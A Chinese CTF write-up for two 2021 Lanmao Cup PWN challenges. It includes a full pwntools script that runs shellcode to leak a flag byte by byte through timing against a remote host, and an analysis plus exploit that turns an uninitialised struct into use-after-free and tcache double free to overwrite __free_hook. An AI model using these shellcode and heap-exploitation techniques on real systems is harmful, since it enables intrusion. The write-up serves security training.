2021 蓝帽杯初赛 PWN WriteUp

 

slient

这个是去年蓝帽杯线下的原题,找到的是这个exp

开启了沙箱,只启用了open read两个函数,通过写入shellcode之后爆破flag

# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p, "b *$rebase(0xC94)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('8.140.177.7', 40334)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0


def pwn(p, index, ch):

    read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
    # open
    shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    shellcode += "push 2; pop rax; syscall;"

    # read(rax, 0x10040, 0x50)
    shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

    # cmp and jz
    if index == 0:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
    else:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

    shellcode = asm(shellcode)

    # p.sendlineafter("execution-box.\n", read_next.ljust(0x30))

    p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'/home/pwn/flag')


index = 0
ans = []
while True:
    for ch in range(0x20, 127):
        if debug:
            p = process([file_path])
        else:
            p = remote('8.140.177.7', 40334)
        pwn(p, index, ch)
        start = time.time()
        try:
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
        if end - start > 1.5:
            ans.append(ch)
            print("".join([chr(i) for i in ans]))
            break
    else:
        print("".join([chr(i) for i in ans]))
        break
    index = index + 1
    print(ans)

print("".join([chr(i) for i in ans]))

 

portable_rpg

首先来看一下题目的逻辑,实现了一个打龙的游戏。题目一共提供了四种操作,分别是add,delete,show,play。在add中,用户可以选择一共三种人物,其分别对应的mp,hp攻击力以及魔法不同。每个人物的结构体如下

00000000 player          struc ; (sizeof=0x20, mappedto_38)
00000000 name            DCD ?
00000004 size            DCD ?
00000008 hp              DCD ?
0000000C mp              DCD ?
00000010 atk             DCD ?
00000014 mtk             DCD ?
00000018 job_type        DCD ?
0000001C has_beated      DCD ?
00000020 player          ends

has_beated表示是否已经击败了大龙。其中name是由用户指定的size大小malloc生成的。在delete函数中会首先释放name然后释放人物的这个结构体。

show函数则是输出结构体中的所有的内容,但是只有当has_beated大于0的时候才可以输出。接下来就是打龙的函数也就是play函数。

int play()
{
  int result; // r0
  int i; // [sp+4h] [bp+4h]
  int index; // [sp+8h] [bp+8h]
  int v3; // [sp+Ch] [bp+Ch] BYREF

  puts("index?");
  index = get_num();
  if ( index < 0 || index > 15 || !player_list[index] )
    return puts("invalid index!");
  for ( i = 0; i <= 3; ++i )
  {
    result = meet_monster("Goblin", 0x30, 0x10, index);
    if ( !result )
      return result;
  }
  result = meet_monster("Dargon", 0x10000, 0x10000, index);
  if ( result )
  {
    puts("wooooooh! you win the dargon!");
    player_list[index]->has_beated = 1;
    puts("you have a chance to change your name, change it?[y/n]");
    result = read(0, &v3, 2u);
    if ( v3 == 0x79 )
      result = read(0, (void *)player_list[index]->name, player_list[index]->size);
  }
  return result;
}

可以看到这里首先是打了三个小怪,然后才打大龙Dargon。只有成功beat才可以将has_beated置为1。这里有一个比较坑的点就是后面这个v3=0x79的判断是怎么也过不去的。因为v3是一个int类型,但是read的时候只读了两个字符。由于栈中脏数据的影响,这里的判断永远不成立。因此这里没办法再次写入。

漏洞其实处在add函数中,我们来看一下

int create()
{
  int v1; // r3
  struct player *v2; // r5
  int i; // [sp+4h] [bp+4h]
  unsigned int size; // [sp+8h] [bp+8h]

  for ( i = 0; i <= 15 && player_list[i]; ++i )
    ;
  if ( i == 16 )
    return puts("player list full!");
  player_list[i] = (struct player *)malloc(0x20u);
  puts("which player job do you want to choose?");
  puts("1. warrior");
  puts("2. magician");
  puts("3. priest");
  printf(">> ");
  v1 = get_num();
  switch ( v1 )
  {
    case 2:
      player_list[i]->hp = 0x30;
      player_list[i]->mp = 0x100;
      player_list[i]->atk = 0;
      player_list[i]->mtk = 0x30;
      player_list[i]->job_type = 2;
      player_list[i]->has_beated = 0;
      puts("name size?");
      size = get_num();
      if ( size >= 0x400 )
        size = 0x400;
      goto LABEL_18;
    case 3:
      player_list[i]->hp = 0x80;
      player_list[i]->mp = 0x80;
      player_list[i]->atk = 0x18;
      player_list[i]->mtk = 0x18;
      player_list[i]->job_type = 3;
      player_list[i]->has_beated = 0;
      puts("name size?");
      size = get_num();
      if ( size >= 0x400 )
        size = 0x400;
      goto LABEL_18;
    case 1:
      player_list[i]->hp = 0x100;
      player_list[i]->mp = 0x10;
      player_list[i]->atk = 0x30;
      player_list[i]->mtk = 0;
      player_list[i]->job_type = 1;
      player_list[i]->has_beated = 0;
      puts("name size?");
      size = get_num();
      if ( size >= 0x400 )
        size = 0x400;
LABEL_18:
      puts("user name?");
      player_list[i]->size = size;
      v2 = player_list[i];
      v2->name = (int)malloc(size);
      read(0, (void *)player_list[i]->name, size);
      break;
  }
  return puts("create success!");
}

这里首先是申请了一个0x20大小的堆块用作是player的结构体。接着读取用户的输入确定人物的job,之后分配了用户指定size大小的name buf。注意到当我们输入大于3的人物的job类型的时候,switch会直接不起作用。并且这里也没有错误的检查,因此这里新创建的player中的各个数值的类型就直接取决于堆中的脏数据。

正常的逻辑是我们用堆中的脏数据beat大龙,然后拿到一个堆溢出的漏洞构造任意写,但是这里写操作无法使用。因此需要转换思路。我们可以直接通过堆中的脏数据将has_beated置为大于0的数值,泄漏出一些信息。

并且堆中的fd指针恰好对应的是name成员变量。因此这里我们可以构造double free/uaf。到这里就很简单了。这里我是利用的uaf泄漏出libc基地址,然后通过uaf构造tcache double free漏洞,任意地址分配覆写free_hook。

# encoding=utf-8
from pwn import *

file_path = "./vuln"
context.arch = "amd64"
elf = ELF(file_path)
p = remote('', 0)
libc = ELF('./libc.so.6')


def add(type, size, content=b"\n"):
    p.sendlineafter(">> ", "1")
    p.sendlineafter(">> ", str(type))
    p.sendlineafter("name size?\n", str(size))
    p.sendafter("user name?\n", content)


def delete(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("index?\n", str(index))


def show(index):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("index?\n", str(index))


def play(index):
    p.sendlineafter("exit\n>> ", "4")
    p.sendlineafter("index?\n", str(index))


def meet_monster(type):
    p.sendlineafter(">> ", str(type))


def ab_write(index, value):
    play(index)
    meet_monster(1)
    meet_monster(1)
    meet_monster(1)
    meet_monster(1)
    meet_monster(1)
    p.sendlineafter("change it?[y/n]\n", p32(121))
    p.send(value)


def hack_add(type):
    p.sendlineafter("exit\n>> ", "1")
    p.sendlineafter(">> ", p32(type))


payload = p32(0x20000)*8

for i in range(16):
    add(1, 0x20, payload)

for i in range(16):
    delete(i)


for i in range(10):
    add(1, 0x90)

for i in range(10):
    delete(i)

log.success("fill finished")

add(1, 0x20)
add(1, 0x20)

hack_add(4)

for i in range(9):
    add(1, 0x58)

show(2)
p.recvuntil("name: ")
heap_address = u32(p.recv(4))

for i in range(7):
    delete(i + 5)
delete(3)
add(1, 0x400)
show(2)
p.recvuntil("name: ")
p.recv(4)
if debug:
    libc.address = u32(p.recv(4)) - 0x1f4838
else:
    libc.address = u32(p.recv(4)) - 0x13A7F4 - 0x54

for i in range(7):
    add(1, 0x58, b"/bin/sh")
add(3, 0x20)

play(2)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
p.sendlineafter("change it?[y/n]\n", "n")
delete(12)
delete(2)
delete(7)
add(1, 0x30)
add(1, 0x20, p32(libc.address + 0x13B768))
add(1, 0x20, p32(libc.address + 0x37170))
log.success("libc address is {}\n".format(hex(libc.address)))
delete(5)
p.interactive()
(完)